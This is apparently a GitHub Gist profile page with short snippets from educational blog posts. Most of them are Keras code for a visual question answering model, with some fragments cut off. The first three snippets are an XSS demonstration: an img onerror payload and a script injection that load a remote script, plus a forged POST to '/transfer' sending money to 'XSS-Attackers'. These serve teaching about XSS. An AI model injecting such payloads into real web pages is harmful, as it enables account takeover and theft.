Skip to content

Instantly share code, notes, and snippets.

View vzhou842's full-sized avatar

Victor Zhou vzhou842

View GitHub Profile
const body = new URLSearchParams('amount=5000&description=Gotcha!&to=XSS-Attackers');
fetch('/transfer', {
body,
method: 'post',
});
const a = document.createElement('script');
a.src = 'https://victorzhou.com/xss-demo.js';
document.body.appendChild(a);
<img src="#" onerror="const a=document.createElement('script');a.src='https://victorzhou.com/xss-demo.js';document.body.appendChild(a);" />
# Train the model!
model.fit(
# Reminder: train_X_seqs is from this post's BOW section
[train_X_ims, train_X_seqs],
train_Y,
validation_data=([test_X_ims, test_X_seqs], test_Y),
shuffle=True,
epochs=8, # somewhat arbitrary, try more epochs if you have time!
callbacks=[checkpoint],
)
from keras.callbacks import ModelCheckpoint
checkpoint = ModelCheckpoint('model.h5', save_best_only=True)
from keras.utils import to_categorical
# Create model input images
train_X_ims = [train_ims[id] for id in train_image_ids]
test_X_ims = [test_ims[id] for id in test_image_ids]
# Create model outputs
train_answer_indices = [all_answers.index(a) for a in train_answers]
test_answer_indices = [all_answers.index(a) for a in test_answers]
train_Y = to_categorical(train_answer_indices)
from easy_vqa import get_train_image_paths, get_test_image_paths
from keras.preprocessing.image import load_img, img_to_array
def load_and_proccess_image(image_path):
# Load image, then scale and shift pixel values to [-0.5, 0.5]
im = img_to_array(load_img(image_path))
return im / 255 - 0.5
def read_images(paths):
# paths is a dict mapping image ID to image path
from easy_vqa import get_train_questions, get_test_questions, get_answers
# Read question data
# (we already did this in the BOW section, remember?)
train_qs, train_answers, train_image_ids = get_train_questions()
test_qs, test_answers, test_image_ids = get_test_questions()
# Read answer data
all_answers = get_answers()
from keras.models import Model
from keras.optimizers import Adam
# The CNN
im_input = # ... code from above
# The question network
q_input = # ... code from above
# Merge -> output
# Merge -> output
out = Multiply()([x1, x2]) # from previous section
out = Dense(32, activation='tanh')(out)
out = Dense(num_answers, activation='softmax')(out)